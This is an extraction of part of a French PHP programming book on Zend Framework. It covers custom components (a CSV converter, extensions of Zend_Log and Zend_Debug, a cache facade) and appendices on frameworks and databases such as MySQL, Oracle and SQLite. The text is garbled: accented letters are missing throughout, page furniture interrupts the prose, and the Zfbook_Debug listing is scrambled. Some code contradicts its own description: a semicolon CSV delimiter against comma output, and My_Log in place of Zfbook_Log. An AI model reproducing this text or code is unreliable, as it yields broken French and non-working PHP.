<?php // Un tableau deux dimensions $dataArray = array(); $dataArray[] = array('Salle', 'Debut', 'Fin', 'Qui'); $dataArray[] = array('REU02', '15/06/2008 14:30', '15/06/2008 16:30', 'Service, "informatique"'); $dataArray[] = array('REU04', '15/06/2008 15:30', '15/06/2008 17:00', 'Direction'); // Conversion en CSV $converter = Zfbook_Convert::getConverter(Zfbook_Convert::CSV); echo $converter->convertFromArray($dataArray);

Le rsultat produit par lexcution de ce code devrait tre le suivant :


Excution de zfbook_convert.php
"Salle","Debut","Fin","Qui" "REU02","15/06/2008 14:30","15/06/2008 16:30","Service, \"informatique\"" "REU04","15/06/2008 15:30","15/06/2008 17:00","Direction"

284

Groupe Eyrolles, 2008

Voici maintenant, fichier par fichier, limplmentation du composant utilisateur tel que nous lavons architectur.
Zfbook/Convert.php
<?php /** * Conversion de donnes */ abstract class Zfbook_Convert { const CSV = 'csv'; /** * Retourne linstance dune classe de conversion * * @throws Zfbook_Convert_Exception * @return Zfbook_Convert_Interface */ public static function getConverter($converter) { $class = 'Zfbook_Convert_' . ucfirst(strtolower($converter)); if (!class_exists($class, false)) { throw new Zfbook_Convert_Exception("Class $class not found"); } else { $reflexionClass = new ReflectionClass($class); if (!$reflexionClass->implementsInterface('Zfbook_Convert_Interface')) { $msg = "Class $class doesn not implement Zfbook_Convert_Interface"; throw new Zfbook_Convert_Exception($msg); } } return call_user_func(array($class, 'getInstance')); } }

Le principal intrt de la classe Zfbook_Convert est de donner accs aux classes de conversion via la mthode statique getConverter(). Cette dernire prend en paramtre le type de convertisseur. Cette mthode prend galement en paramtre un nom de convertisseur. Elle instancie la classe correspondante et vrifie quil sagit bien dune classe de conversion qui implmente linterface Zfbook_Convert_Interface.
Zfbook/Convert/Interface.php
<?php /** * Interface permettant de rdiger des convertisseurs */ interface Zfbook_Convert_Interface { /** * Nos classes sont des singletons *

ASTUCE Compltion
Les diteurs PHP volus permettent la compltion des mthodes de classes grce au tag PHPDoc @return. Dans le cas de Zfbook_Convert::getConverter(), Zfbook_Convert_Interface est mentionne, ce qui permet la compltion sur lensemble des mthodes dclares dans linterface.

Groupe Eyrolles, 2008

285

15 Utilisation avance des composants

Zend Framework - Bien dvelopper en PHP

* @return Zfbook_Convert_Interface */ public static function getInstance(); /** * Conversion depuis un tableau * * @param array $array */ public function convertFromArray($array); }

Linterface Zfbook_Convert_Interface oblige les classes de conversion possder les mthodes getInstance() et convertFromArray(). Cela permet de sassurer que toutes ces classes possdent ces fonctionnalits et quon peut les utiliser de la mme manire (on appelle cela la programmation par contrat).
Zfbook/Convert/Csv/Exception.php
<?php /** * Exception pour le convertisseur CSV */ class Zfbook_Convert_Csv_Exception extends Zfbook_Convert_Exception {}

Dans Zend Framework, les exceptions forment une chane. Ainsi, nous pouvons savoir, selon le type de lexception qui a t lance, sil sagit dun problme dans la conversion CSV (Zfbook_Convert_Csv_Exception) ou dans le composant Convert (Zfbook_Convert_Exception), ou encore dans les bibliothques Zfbook (Zfbook_Exception). Les classes mres de Zfbook_Convert_Csv_Exception (Zfbook_Convert_ Exception et Zfbook_Exception) ne sont pas reprsentes, mais il est ais de les crire selon le mme principe.
ZfbookConvert/Csv.php
<?php /** * Outils de conversion CSV */ class Zfbook_Convert_Csv implements Zfbook_Convert_Interface { /** * Retourne linstance du singleton * * @return Zfbook_Convert_Csv */

286

Groupe Eyrolles, 2008

public static function getInstance() { static $instance = null; if ($instance === null) { $instance = new self(); } return $instance; } /** * Construit un tableau au format CSV * * @param array $array * @return string */ public function convertFromArray($array) { $retVal = ''; if (!is_array($array)) { $msg = 'Array required'; throw new Zfbook_Convert_Csv_Exception($msg); } // Gnration du fichier temporaire $fd = fopen('php://temp', 'r+'); foreach ($array as $item) { fputcsv($fd, $item, ';&apos;, '"'); } rewind($fd); // Rcupration des donnes et expdition $csvContent = stream_get_contents($fd); fclose($fd); return $csvContent; } private function stripQuotes(&$str) { $str = str_replace('"', '\"', $str); } private function __clone() { } private function __construct() { } }

Groupe Eyrolles, 2008

287

15 Utilisation avance des composants

Zend Framework - Bien dvelopper en PHP

Voici enfin la classe de conversion CSV qui, par lintermdiaire de la mthode convertFromArray(), effectue lopration utile du composant. Cette classe est un singleton (elle na pas vocation avoir plusieurs instances). Voil comment il est possible de crer un composant utilisateur respectant les standards du Zend Framework, donc facilement intgrable du fait de lhomognit gnrale. Avec suffisamment de mthodologie objet, il est possible de grer une large palette de fonctionnalits rutilisables, limage de Zend Framework, par exemple.

Driver un composant existant


Il se peut que, pour diverses raisons, le besoin de modifier ou de complter un composant Zend existant se fasse sentir. Pour cela, rien de plus horrible que de se mettre dvelopper dans les classes Zend proprement dites... Cette section explique comment mettre en place un composant utilisateur qui va tendre un composant Zend pour le complter et modifier son comportement.

Rgles fondamentales
Avant tout, voici quelques rgles fondamentales, qui ressemblent pour la plupart aux rgles mises prcdemment. Il est interdit de modifier quoi que ce soit dans le rpertoire library/ Zend. Ce rpertoire est rserv exclusivement aux sources de Zend Framework. Toute modification altrerait les possibilits de mise jour des sources ainsi que, potentiellement, le fonctionnement des composants du framework. Les conventions expliques dans la documentation officielle de Zend Framework doivent tre respectes (http://framework.zend.com/wiki/ display/ZFDEV/ZF+Coding+Standards+%28RC%29). Les classes utilisateurs qui tendent les composants Zend doivent tre situes dans le rpertoire library/<votre_prefixe>, <votre_prefixe> reprsentant une personne, une association ou une entreprise (voir figure 15-1). Si possible, le composant utilisateur doit avoir le mme suffixe que le composant Zend. Par exemple, un composant qui tend Zend_View sappelera Zfbook_View.

288

Groupe Eyrolles, 2008

Ajouter une fonctionnalit un composant


Nous allons simplement redfinir le composant Zend_Log, en lui ajoutant une fonctionnalit qui va permettre denregistrer la trace dappel PHP en plus du message de journalisation ceci grce la fonction PHP debug_backtrace().
Fichier Zfbook/Log.php
<?php /** * Extension de Zend_Log */ class Zfbook_Log extends Zend_Log { const DEBUG_BACKTRACE = 8; /** * Enregistre dans le log la trace dappel PHP */ public function debug_backtrace($message = null) { list($backtrace) = debug_backtrace(); unset($backtrace['object']); $backtrace = print_r($backtrace, true); $toLog = $message . $backtrace; return $this->log($toLog, self::DEBUG_BACKTRACE); } }

Remarquez que Zfbook_Log tend Zend_Log de manire ce quon puisse utiliser la premire classe comme si ctait la seconde. Voici maintenant la manire dont on peut utiliser la nouvelle classe Zfbook_Log :
Utilisation de Zfbook_Log
// cration dun log avec affichage sur lcran $log = new My_Log(new Zend_Log_Writer_Stream('php://output')); // essai de notre nouvelle mthode $log->debug_backtrace('Something happened');

Modifier le comportement dun composant


Il est aussi possible de modifier le comportement dun composant, notamment celui dune mthode. Si celle-ci nest pas estampille final, il est possible de la redfinir dans une classe fille.
Zend_Debug::dump()

Voici comment nous pouvons modifier le comportement de la mthode en faisant en sorte que, si la variable attribue en paramtre est un objet qui contient une mthode __toString(), celui-ci soit affich par ce biais. 289

Groupe Eyrolles, 2008

15 Utilisation avance des composants

Zend Framework - Bien dvelopper en PHP

Ajout dun complment Zend_Debug::dump()


<?php /** * Extension de Zend_Debug */ class Zfbook_Debug extends Zend_Debug { // Prototype de dump tel quil est dclar public static function dump($var, $label = { // Sil sagit dun objet qui contient // remplacer le contenu de $var par la // de __toString(). if (is_object($var) && method_exists($var, '__toString')) $var = $var->__toString(); }

dans Zend_Debug null, $echo = true) __toString(), valeur de retour

// Appel de la mthode dump() parente return parent::dump($var, $label, $echo); } // ... }

La mthode Zfbook_Debug::dump() aura exactement le mme comportement que Zend_Debug::dump(), sauf lorsque le paramtre $var contient un objet dot dune mthode __toString().
Test du nouveau dump
class Test { public function __toString() { return 'OBJ: ' . __CLASS__; } } $test = new Test(); Zfbook_Debug::dump($test);

Ce code exemple montre comment tester la nouvelle fonctionnalit Zfbook_Debug::dump(). Il fait appel la mthode __toString() de la classe Test alors que Zend_Debug::dump() affiche la structure et le contenu de lobjet.

Simplifier laccs un ou plusieurs composants


Certains composants du Zend Framework peuvent tre difficiles ou fastidieux utiliser. Dans ce cas, pourquoi ne pas mettre en place un systme 290
Groupe Eyrolles, 2008

qui simplifie son utilisation ? Cest le rle du design pattern Faade, qui trouvera parfaitement sa place dans un composant utilisateur. Un bon exemple de simplification de composant est prsent dans le chapitre 10 concernant le cache. La classe Zfbook_Cache a pour rle de simplifier lutilisation du cache. Les manipulations sur Zend_Cache sont assures par Zfbook_Cache et sont totalement transparentes pour le dveloppeur. De plus, Zfbook_Cache est une classe statique qui na pas besoin dtre instancie pour tre utilise. Voici le squelette de cette classe :
Squelette de la classe Zfbook_Cache
<?php /** * Une classe qui simplifie lutilisation du cache */ class Zfbook_Cache { private static $_cache = null; private static $_lifetime = 3600; private static $_cacheDir = null; // Fonction dinitialisation appele par toutes // les mthodes publiques. private static function init() { // Si ce nest pas fait, charge le meilleur backend // entre APC et File. } // Fonction de setup utile pour le bootstrap uniquement public static function setup($lifetime, $filesCachePath) { // ... } // Insertion dans le cache public static function set($data, $key) { // Appel de la mthode dinsertion du backend courant } // Retrait dune valeur du cache public static function get($key) { // Appel de la mthode de retrait du backend courant } // Nettoyage du cache public static function clean($key = null) { // Appel de la mthode de nettoyage du backend courant }

Groupe Eyrolles, 2008

291

15 Utilisation avance des composants

Zend Framework - Bien dvelopper en PHP

CONSEIL Faire collaborer intgrateur


et dveloppeur
Ce principe de simplification par des classes statiques est intressant pour favoriser la collaboration dintgrateurs qui ne sont pas familiariss avec la POO et de dveloppeurs chevronns. En effet, la simplicit dutilisation de ces classes est ddie lintgrateur, tandis que limplmentation sousjacente est la charge du dveloppeur.

// Mthode utilise pour rcuprer la classe de cache Zend // Utile pour linitialisation de certains composants dans // le bootstrap. public static function getCacheInstance() { // Retourne lobjet Zend_Cache courant } }

Ce squelette document illustre les algorithmes mettre en place pour disposer dune classe daccs au cache simple et performante. Une implmentation de cette classe est prsente dans le chapitre 10.

Intgrer un composant externe


Il se peut quun composant externe soit utilis dans Zend Framework. Dans ce cas, laccs ce composant peut se faire via la mise en uvre dun composant utilisateur. Par exemple, si vous avez lhabitude dutiliser Smarty comme moteur de templates, la mise en place dun composant Zfbook_Smarty est la meilleure manire dintgrer la classe Smarty lapplication. Le stockage du code de Smarty peut se faire dans la hirarchie sous-jacente du composant ou dans un rpertoire part, en fonction de vos besoins. Cela dit, il est recommand de stocker le code externe dans un rpertoire part pour simplifier la maintenance. Lintgration dun composant externe se fera principalement grce un design pattern adaptateur. Aussi, pour que deux composants puissent fusionner, il faut quils proposent tous les deux une API permettant cette fusion partielle. Une fois de plus, un bon design logiciel est ncessaire. Lintgration de Smarty est dcrite dans la documentation officielle de Zend Framework, ladresse suivante :
http://framework.zend.com/manual/en/zend.view.scripts.html#zend.view.scripts.templates

EN SAVOIR PLUS Smarty


Smarty est un moteur de template trs utilis avec PHP. Contrairement Zend_View, il utilise un mtalangage tanche au code PHP sous-jacent. B http://smarty.php.net

292

Groupe Eyrolles, 2008

En rsum
Crer ses propres composants ncessite une bonne mthodologie, que ce soit au niveau de la conception logicielle objet comme de lorganisation. Il faut sans arrt se poser la question du futur : Et si un jour jai besoin de..., vais-je facilement pouvoir le faire ? La refonte de code et les tests sont ce titre plus quimportants. Aussi, nous vous proposons de suivre les conventions de Zend Framework dans vos dveloppements, de manire bien programmer de faon homogne, sans perdre de temps sur des questions comme : Dans quel fichier vais-je bien pouvoir placer cela ? O placer ce fichier ? Vous aurez ainsi tout le loisir de vous pencher sur des problmatiques bien plus complexes mais combien stimulantes !

Groupe Eyrolles, 2008

293

15 Utilisation avance des composants

annexes

Groupe Eyrolles, 2008

Quest-ce quun framework ?

A
SOMMAIRE

B Dfinition et rles

Souvent employ pour dsigner tout et nimporte quoi, le mot framework na pas toujours une dfinition trs claire. Pourtant, les frameworks sont aujourdhui des outils stratgiques qui favorisent les bonnes pratiques : gagner du temps, rutiliser, tester, stabiliser.

dun framework

B Le framework au service
des dveloppements web MOTS-CLS

B framework B rutilisabilit B composant B bibliothque B conventions B organisation B architecture

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Nous proposons dans cette annexe une explication prcise et concise de ce quest un framework : sa dfinition, ses objectifs. Aprs une courte introduction, nous aborderons ensuite lutilit de cet outil pour des dveloppements web. Ces fondamentaux sont valables pour tous les frameworks, et ne concernent pas seulement Zend Framework.

Dfinition et objectifs
Le mot framework est la mode dans le monde PHP. Si nous devions le dfinir , nous dirions quil sagit : dun ensemble de composants PHP qui interagissent ; dun ensemble de rgles darchitecture et de dveloppement.

Figure A1

Dveloppement avec un Framework

Un framework se greffe sur un langage. On peut considrer le langage comme tant de bas niveau et le framework comme tant de haut niveau, car les ressources offertes par le framework sont plus proches du raisonnement humain (mtier) que celles proposes par le langage. Concrtement, cela signifie que pour dvelopper une mme fonctionnalit, on aura besoin de moins de lignes de code avec un framework que sans. Les objectifs pratiques dun framework sont multiples : fournir un ensemble de composants fiables et tests ; favoriser le travail plusieurs en instaurant des rgles de programmation cohrentes ; proposer une mthodologie et une organisation du travail qui permettent de maintenir un code source organis. 296
Groupe Eyrolles, 2008

Dun point de vue stratgique, nous pouvons en dduire les apports suivants : un temps de travail rduit pour des rsultats plus fiables ; la durabilit assure du code source, le support de la socit Zend ; une capacit voluer optimale, qui assure des gains moyen et long terme. Ainsi, le framework trouve toute son utilit en particulier dans le monde de lentreprise, puisquil permet : aux dveloppeurs : dutiliser des composants communs que tout le monde connat, en vitant ainsi de rinventer ce qui existe dj ; aux chefs de projets : de fiabiliser les ressources humaines et dorganiser des dveloppements sur la base dun outil connu et matris ; aux architectes et ingnieurs logiciel : de btir des modles bass sur la programmation oriente objet et une organisation pratique des classes, des interfaces, des paquetages et des composants.

Le framework au service du dveloppement web


Le framework rpond plusieurs problmatiques trs particulires au dveloppement web, que nous allons traiter dans les les sections qui suivent.

Risques et prils des pratiques courantes


Face un problme unique, diffrents dveloppeurs vont mettre en uvre diffrentes solutions : il y aura donc autant de solutions que de dveloppeurs. Or, toutes ces solutions ne se valent pas : laquelle sera la meilleure ? la plus performante ? la plus scurise ? la plus facile tester et maintenir ? Comment faire en sorte quun dveloppeur A puisse lire, comprendre, assimiler et modifier un programme crit par un dveloppeur B ? Par ailleurs, les dveloppements web, en particulier lorsquils sont effectus avec PHP, gnrent beaucoup de redondances. Chaque application proposera une solution technique pour laccs aux donnes, lauthentification, lchange de donnes, etc. Et si chaque application web est unique, les concepts fondamentaux restent sensiblement les mmes. Comment alors rutiliser au maximum les parties communes ces dveloppements ?

Groupe Eyrolles, 2008

297

A Quest-ce quun framework ?

Zend Framework - Bien dvelopper en PHP

Le framework la rescousse
Le framework permet dhomogniser les pratiques de dveloppement au sein dune quipe de projet, en proposant une base de travail et des conventions prdfinies. De plus, il favorise la rutilisation de par son organisation et ses ressources prdveloppes. Il en rsulte un gain de temps et de qualit extrmement important dans le cadre de dveloppements professionnels.

Figure 12 Principe de la rutilisabilit avec un framework

PHP est un langage qui propose un modle objet complet, que Zend Framework exploite pleinement dans le cadre dune organisation efficace et cohrente, adapte au dveloppement de projets ambitieux. Les composants dun framework PHP sont reprsents physiquement par un ensemble de fichiers, tous crits en PHP et hirarchiss de manire prcise dans une arborescence de rpertoires. Chaque composant est constitu dun ensemble de fichiers et propose une fonctionnalit rutilisable et personnalisable.

298

Groupe Eyrolles, 2008

Figure A3

Organisation hirarchique de Zend Framework

Inconvnients du framework
Nul nest pas parfait et le framework nchappe pas cette rgle. Tout dabord, sa manipulation peut tre difficile apprendre et matriser, en particulier pour les dveloppeurs qui ne connaissent pas bien la programmation objet. En effet, un framework comme Zend Framework exploite largement le modle objet de PHP, avec, entre autres, de nombreux design patterns, concepts objets souvent assez pousss, quil convient de bien comprendre. Ensuite, tant donn quil se situe un niveau au-dessus de PHP et quil fait appel des technologies trs diverses (XML, JSON, HTTP, SQL...) il est important de matriser tout cela avant de se lancer dans la dcouverte de ses composants. Car sil est certes possible de conduire une voiture sans en connatre tous les rouages techniques, comprendre son fonctionnement permet une meilleure conduite, plus conomique, et lorsquune panne arrive, on sait en gnral la rparer, ou tout du moins la localiser. Enfin, limpact dun framework sur les performances du serveur est loin dtre ngligeable. Il est ainsi ncessaire de bien apprhender le fonctionnement du framework, celui de PHP et de tout son cosystme, notamment le serveur web, afin de faire face cette difficult qui trouve heureusement de nombreuses solutions.

Groupe Eyrolles, 2008

299

A Quest-ce quun framework ?

Zend Framework - Bien dvelopper en PHP

En rsum
Il faudra retenir au moins lessentiel : sa dfinition et ses quatre rles fondamentaux. Un framework est une base de travail qui permet dorganiser et dacclrer les dveloppements. Il permet de : fournir des composants rutilisables ; proposer une architecture, cest--dire des rgles dorganisation pour les dossiers, les fichiers et ce quils doivent contenir ; fournir des conventions de dveloppement ; fournir ventuellement des outils de dveloppement et de maintenance.

300

Groupe Eyrolles, 2008

Bases de donnes

B
SOMMAIRE

B Quest-ce quun SGBD ?

Toute application, quelle quelle soit, manipule des donnes. Les systmes de gestion de bases de donnes (SGBD) jouent alors un rle essentiel : fournir un service efficace de stockage et dextraction des donnes. Le choix du SGBD et de ses outils, le schma de la base et la configuration de cet ensemble sont autant de sujets stratgiques qui requirent la plus grande attention. Comprendre les notions essentielles lies aux bases de donnes est un point de dpart ncessaire pour garantir performance, stabilit et durabilit vos applications.

B Couches dabstraction B Notions avances


MOTS-CLS

B base de donnes B SGBD B CRUD B ORM B PDO B SQL

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

RFRENCE Best practices PHP 5


Le chapitre 7 de louvrage franais Best practices PHP 5 est un bon support pour approfondir votre connaissance des supports de donnes. Il dtaille la plupart des notions abordes dans ce chapitre. R G. Ponon, Best practices PHP 5, Eyrolles, 2005

Cette annexe balaye les notions essentielles lies aux bases de donnes pour PHP, commencer par comprendre ce quest rellement un SGBD, puis comment se fait la connexion entre un SGBD et PHP. Dautre part, il existe de nombreux outils en PHP pour simplifier les manipulations de donnes stockes dans des bases. Ces outils sont-ils performants ? Garantissent-ils la durabilit de lapplication ? Leur choix est-il pertinent ? Nous vous proposons ici de quoi juger par vous-mmes. En revanche, cette section na pas pour vocation de vous apprendre SQL et dentrer dans les dtails dutilisation dun SGBD. Il fait simplement figure de rappel des notions essentielles.

Quest-ce quun SGBD ?


Cette premire partie expose ce quest un SGBD et comment on lutilise avec PHP : larchitecture dun SGBD : de quoi se compose un systme de gestion de bases de donnes ? Comment fonctionne-t-il ? les principaux SGBD du march : la liste des outils votre disposition, leurs objectifs, avantages et inconvnients, pour faire un choix pertinent ; la connexion PHP : comment PHP peut-il collaborer avec votre SGBD ? Quelle solution dinterfaage choisir ? Ces connaissances de base sont surtout utiles pour faire les bons choix concernant vos projets PHP. Elles constituent une culture gnrale essentielle sur ce sujet important.

Architecture dun SGBD


Un SGBD, comme son nom lindique, permet de manipuler des bases de donnes. Il faut bien distinguer ces deux notions de base : Une base de donnes est compose dun ensemble de donnes structures. Une application peut utiliser une ou plusieurs bases de donnes. Physiquement, une base de donnes est constitue dun ou plusieurs fichiers qui contiennent des donnes et des informations sur leur structure. Un systme de gestion de bases de donnes (SGBD) est loutil qui permet de manipuler les bases de donnes. Cest lui que lon interroge pour ajouter, extraire, supprimer ou modifier des donnes dans une base.

302

Groupe Eyrolles, 2008

Figure B1

Architecture dun SGBD

La base de donnes
La base de donnes est llment essentiel que vous allez solliciter chaque fois que vous voudrez manipuler des donnes.

Exemple simple
Voici une mthode simple pour bien comprendre la composition gnrale dune base de donnes et construire une base cohrente. Pour cela, prenons un carnet dadresses : Question 1 : De quoi est compos un carnet dadresses ? Dutilisateurs et dadresses. Question 2 : De quoi sont composs les utilisateurs et les adresses ? Un utilisateur possde un nom et un prnom. Une adresse possde une rue, un code postal et une ville. Question 3 : Quel lien y a-t-il entre les utilisateurs et les adresses ? Un utilisateur possde une adresse. Une adresse peut appartenir un ou plusieurs utilisateurs.

Notions techniques
Ces questions peuvent paratre un peu naves, mais elles sont essentielles la mise en place de la structure de votre base de donnes. Chacune delles est lie des concepts techniques : Rpondre la question 1 permet didentifier les tables de votre base. Pour rpondre cette question de manire pertinente, il est impor Groupe Eyrolles, 2008

303

B Bases de donnes

Zend Framework - Bien dvelopper en PHP

tant de savoir ce que vous voudrez faire de ces donnes. Ici on dcide davoir deux notions : utilisateurs et adresses, parce quon veut pouvoir manipuler lun et lautre de manire indpendante. Rpondre la question 2 permet didentifier les champs contenus dans chaque table. Un champ reprsente une donne lmentaire. On associera chaque donne lmentaire un type de donnes : nom : chane de caractres ; prnom : chane de caractres ; rue : chane de caractres ; code postal : numro ; ville : chane de caractres. Rpondre la question 3 permet davoir des informations sur lintgrit quil faut donner aux donnes. Bien que ce soit facultatif, il est souvent possible de spcifier ces liens de manire prvenir les incohrences. On appelle ces paramtres des contraintes dintgrit : je veux quune personne ne puisse tre lie qu une seule adresse ; jadmets que plusieurs personnes puissent avoir la mme adresse.
CONSEIL Outil de conception
En cherchant sur Internet, vous trouverez plusieurs outils de conception de schmas comme on le voit sur la figure B-2. Mais il est aussi possible et mme recommand de se passer de ces outils. Un tableau blanc, quand on est plusieurs rflchir sur un schma, reste le meilleur des supports.

Reprsentation graphique
Pour plus de clart, il est dusage de reprsenter graphiquement ces diffrents lments : tables, champs et relations. La figure B-2 reprsente la base de donnes, contenant utilisateurs et adresses. On appelle ce type de schma un modle conceptuel de donnes (MCD).

Figure B2

Modle conceptuel de donnes (MCD)

Types de donnes
Il est important, pour chaque champ dune table, de dterminer son type de donne, cest--dire la syntaxe que doit respecter chaque donne. Par exemple, le champ Rue et le champ Ville seront associs au type de donne VARCHAR (chane de caractres) et le champ Code postal au type de donne INTEGER (nombre entier). Ainsi, il sera impossible de mettre une valeur autre quun nombre dans le code postal et ainsi de suite. Voici les types de donnes que lon retrouve dans les SGBD courants : CHAR(X) (chane de caractres de longueur X fixe) ; VARCHAR(X) (chane de caractres de longueur X variable) ; 304
Groupe Eyrolles, 2008

(nombre entier) ; FLOAT, DECIMAL, DOUBLE (nombre virgule) ; DATE, DATETIME, TIMESTAMP (dates et heures) ; BLOB, CLOB (donnes binaires ou chanes de caractres longues).
INTEGER

Cls et contraintes dintgrit


Une table peut comporter des champs spciaux appels cls. Ces cls permettent de garantir lintgrit des donnes et/ou dacclrer les performances. Voici les diffrents types de cls que lon peut associer un champ : la cl primaire, souvent obligatoire, permet de garantir lunicit de chaque enregistrement. La valeur dune cl primaire est obligatoire et unique. On choisit souvent comme cl primaire un identifiant numrique auto-incrment ou un code (code produit) ; la cl unique permet de faire en sorte que la valeur dun champ soit unique. En dautres termes, que celui-ci ne comporte pas de doublons. Par exemple, on peut dfinir le champ e-mail comme unique pour viter que deux utilisateurs dclarent avoir le mme e-mail. Plusieurs champs peuvent avoir des cls uniques indpendantes (contrairement la cl primaire) et une mme cl unique peut tre dfinie sur un ou plusieurs champs (comme la cl primaire) ; la cl index najoute pas de contrainte. Elle permet juste dacclrer la recherche sur le champ index. Les cls ne sont pas les seules contraintes que lon peut dclarer. Imaginons que nous souhaitons faire en sorte quun utilisateur ne soit li qu une seule adresse la fois, tout en acceptant quune adresse soit lie plusieurs utilisateurs. On peut pour cela dfinir une liaison que lon appellera contrainte dintgrit. Les SGBD qui sont capables de grer ce genre de contraintes sont appels SGBD relationnels ou SGBDR. Avec MySQL, le moteur InnoDB est capable de maintenir lintgrit des donnes par lintermdiaire de ces liaisons fortes.

CULTURE Indexation des cls


Toute cl, quelle soit primaire, unique ou simplement dfinie comme un index, est indexe. Une recherche sur un index est rapide. En revanche, plus il y a de champs indexs dans une table, plus les insertions, modifications et suppressions sont lentes.

Les principaux SGBD du march


Il existe de nombreux SGBD utilisables avec PHP. Seul un petit groupe fait partie du cercle des SGBD courants. Nous nous limiterons ici ces produits.

MySQL
MySQL est historiquement li PHP. Si les SGBD courants privilgient avant tout lintgrit des donnes, MySQL a vu le jour pour privilgier les performances. Aujourdhui, cet aspect performance est toujours au rendez Groupe Eyrolles, 2008

305

B Bases de donnes

Zend Framework - Bien dvelopper en PHP

vous, mais lutilisateur peut choisir plusieurs moteurs en fonction de ses besoins et ainsi rpondre pleinement des problmatiques web ou non web. On utilisera MySQL pour tout type dapplication web, de petite taille, de taille moyenne et mme de grande taille. Il sagit dun bon choix dans tous les cas. Voici les principaux moteurs que lon peut utiliser avec MySQL : MYISAM : optimis pour les performances, il sagit du successeur du moteur original de MySQL, anciennement ISAM. Ce moteur ne permet pas davoir de fortes contraintes dintgrit, ni non plus dannuler une ou plusieurs oprations (gestion des transactions, avec commit et rollback). Labsence de ces mcanismes offre des performances amliores ; INNODB : moteur transactionnel trs populaire et le plus apprci des entreprises. Contrairement MYISAM, il permet de mettre en place des contraintes dintgrit fortes. Il offre aussi la possibilit de faire des requtes transactionnelles, avec validation ou annulation (commit, rollback). Ce moteur est actuellement la proprit de la socit Oracle, il est sous licence propritaire ; ARCHIVE : moteur optimis pour lcriture et non pour la lecture. Il est utile pour stocker des logs ou des donnes de sauvegarde ; MEMORY : moteur qui permet de crer des tables dans la mmoire, utilis pour acclrer toute opration. Bien entendu, toute table cre avec MEMORY est volatile, un arrt du SGBD ou du serveur supprimant tout le contenu. Il existe dautres moteurs pour MySQL que vous pouvez tudier sur la documentation officielle en ligne. La liste que nous vous avons prsente regroupe les plus populaires.

DFINITION Commit, Rollback, Transaction


Une transaction est laction de rendre unique un ensemble de requtes SQL. Par exemple, si vous voulez insrer un utilisateur et son adresse, il vous faudra peut-tre deux requtes SQL. Une transaction est lie deux oprations fondamentale : la validation (commit) et lannulation (rollback). Lannulation de lensemble des requtes (rollback) intervient si au moins lune dentre elles choue, et la validation gnrale de l'ensemble des requtes (commit) intervient si elles ont toutes t excutes avec succs. Ainsi, pour reprendre notre exemple, il ne peut y avoir dutilisateur sans adresse ou dadresse sans utilisateur. La transaction assure de ce fait lintgrit de nos donnes.

Oracle
La rputation dOracle nest plus faire, en particulier dans le monde de lentreprise. Ce SGBD est choisi gnralement pour mettre en place de grosses bases de donnes tels des systmes dinformation stratgiques. Si aujourdhui nous en voyons de plus en plus avec MySQL, Oracle reste une valeur sre. Oracle est un produit payant. Il existe une version de dveloppement gratuite que lon peut utiliser dans un cadre non-commercial, appele Oracle XE. Oracle doit tre choisi dans le cadre de projets denvergure. Ce SGBD peut savrer difficile et long matriser. Bien souvent, lintervention dun administrateur spcialis est requise pour optimiser une base de donnes Oracle. 306
Groupe Eyrolles, 2008

Aussi, le problme dOracle rside dans la lenteur de louverture dune connexion, ce qui le rend peu adapt une utilisation avec PHP, incapable de maintenir un pool de connexion entre deux requtes.

SQLite
SQLite est un petit SGBD embarqu. Le terme embarqu signifie quil ne ncessite pas la prsence dun serveur, contrairement Oracle ou MySQL. Une base de donnes est stocke dans un fichier qui peut tre inclus dans lapplication elle-mme. SQLite est galement un SGBD trs permissif. Un champ dclar avec le type INTEGER pourra par exemple contenir des chanes de caractres, mme sil nest pas conseill de le faire. Enfin, on utilisera SQLite pour grer des donnes non critiques. On peut lutiliser par exemple pour faire du cache ou comme base intermdiaire. La caractristique embarque permet aussi de simplifier la maintenance, car nul besoin didentifiant et mot de passe ni dun quelconque paramtrage pour faire fonctionner une base SQLite. Par exemple, SQLite est prsent dans de nombreux systmes embarqus ncessitant un accs rapide des donnes : tlphones portable, box ADSL... Le problme majeur de SQLite est son mode de verrouillage. En effet, il verrouille ses bases intgralement lors dune opration dcriture. Si ses performances en lecture sont trs leves, cest loin dtre le cas en criture. Il faudra donc privilgier SQLite dans des environnements o les accs en lecture sont trs largement majoritaires sur les accs en criture.
REMARQUE Tests avec SQLite
SQLite est trs pratique en PHP pour lancer des tests. Il assure alors la gestion des donnes phmres ncessaires pour tester les programmes.

Connexion PHP
Pour accder une base de donnes avec PHP, une extension spcifique est ncessaire. Aujourdhui il existe deux sortes dextensions : les extensions indpendantes et les pilotes PDO (PHP Data Objects). Les extensions indpendantes sont les toutes premires avoir vu le jour. Elles proposent des fonctions et parfois des classes permettant deffectuer des oprations sur le SGBD. Les extensions PDO permettent de lier le SGBD PDO, qui propose des classes de manipulation standard, quel que soit le SGBD utilis. Lutilisation de PDO est intressante aussi bien pour simplifier la maintenance que pour assurer la durabilit des dveloppements.

RFRENCE Documentation en ligne


Lensemble des extensions disponibles pour laccs aux bases de donnes est fourni dans la documentation en ligne de PHP. La page suivante propose la liste des pages utiles : B http://www.php.net/manual/fr/ refs.database.php

Groupe Eyrolles, 2008

307

B Bases de donnes

Zend Framework - Bien dvelopper en PHP

Voici les extensions utilisables pour se connecter aux SGBD les plus courants : MySQL mysql : lextension mysql standard est aujourdhui obsolte. Elle est encore disponible pour la compatibilit avec les applications qui ont t dveloppes avec elle, mais elle sera supprime un jour (lointain) de PHP. Elle nest actuellement plus maintenue, au profit de mysqli. http://www.php.net/manual/fr/book.mysql.php mysqli : cette extension permet de se connecter MySQL en mode procdural ou objet. Elle est compatible avec les dernires versions de MySQL et possde bien plus de fonctions que lextension mysql, le i signifiant improved (amlior). Il est fortement conseill de privilgier cette extension par rapport lextension mysql standard. http://www.php.net/manual/fr/book.mysqli.php pdo_mysql : le driver PDO pour MySQL. Aujourdhui, cette extension est prconise dans la plupart des cas. http://www.php.net/pdo Oracle oracle : lancienne extension Oracle nest plus utilise, elle est dprcie et nest pas recommande. oci8 : cette extension est la plus couramment utilise jusquici. Elle permet entre autres deffectuer de nombreuses oprations spcifiques Oracle. http://www.php.net/manual/fr/book.oci8.php pdo_oci : le driver PDO pour Oracle. Sil est encore exprimental aujourdhui, il rpond la plupart des besoins et savre de bonne facture. http://www.php.net/manual/fr/ref.pdo-oci.php SQLite sqlite : extension procdurale et objet permettant de se connecter une base SQLite et deffectuer au besoin des oprations avances. http://www.php.net/manual/fr/book.sqlite.php pdo_sqlite : le driver PDO permettant de se connecter une base SQLite. Il existe deux versions : une pour la version 